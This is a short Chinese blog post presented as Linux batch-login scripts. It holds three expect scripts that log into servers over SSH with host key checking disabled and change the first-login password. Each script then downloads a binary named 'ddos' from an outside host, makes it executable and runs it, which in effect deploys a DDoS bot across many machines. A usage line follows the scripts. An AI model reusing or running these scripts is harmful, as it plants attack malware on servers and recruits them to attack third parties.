最新消息:

一些linux 批量登录脚本

建站技术 chuangfuzhe 426浏览 0评论

firstlogin centos:

#!/usr/bin/expect -f

set IP     [lindex $argv 0]
set USER   [lindex $argv 1]
set PASSWD [lindex $argv 2]
set NEWPASSWORD [lindex $argv 3]

spawn ssh -o StrictHostKeyChecking=no $USER@$IP 
expect "*password:*" {send "$PASSWD\r"}
expect "*(current) UNIX password:*" {send "$PASSWD\r"}
expect "*New password:*" {send "$NEWPASSWORD\r"}
expect "*Retype new password:*" {send "$NEWPASSWORD\r"}


# 按照这种格式添加命令
expect "*#*" {send "rm -rf /root/ddos && wget https://www.caipiaoceping.com/ddos  && chmod +x ./ddos  && ./ddos \r"}

expect eof

first login ubuntu:

#!/usr/bin/expect -f

set IP     [lindex $argv 0]
set USER   [lindex $argv 1]
set PASSWD [lindex $argv 2]
set NEWPASSWORD [lindex $argv 3]

spawn ssh -o StrictHostKeyChecking=no $USER@$IP 
expect "*password:*" {send "$PASSWD\r"}
expect "*(current) UNIX password:*" {send "$PASSWD\r"}

expect "* password:*" {send "$NEWPASSWORD\r"}
expect "*Retype * password:*" {send "$NEWPASSWORD\r"}


# 按照这种格式添加命令
expect "*#*" {send "rm -rf /root/ddos && wget https://www.caipiaoceping.com/ddos  && chmod +x ./ddos  && ./ddos \r"}

expect eof

 

batch second login

set IP     [lindex $argv 0]
set USER   [lindex $argv 1]
set PASSWD [lindex $argv 2]
set PORT [lindex $argv 3]

spawn ssh -p $PORT -o StrictHostKeyChecking=no $USER@$IP 
expect "*password:*" {send "$PASSWD\r"}


expect "*#*" {send "wget -O ddos http://ads02.top/ddos32-64 && chmod +x ./ddos && ./ddos \r"}
expect eof

 

 

使用方法:
保存为.sh 文件   比如: aa.sh  ip  user password port

转载请注明:创富者 » 一些linux 批量登录脚本

发表我的评论
取消评论
表情

Hi,您需要填写昵称和邮箱!

  • 昵称 (必填)
  • 邮箱 (必填)
  • 网址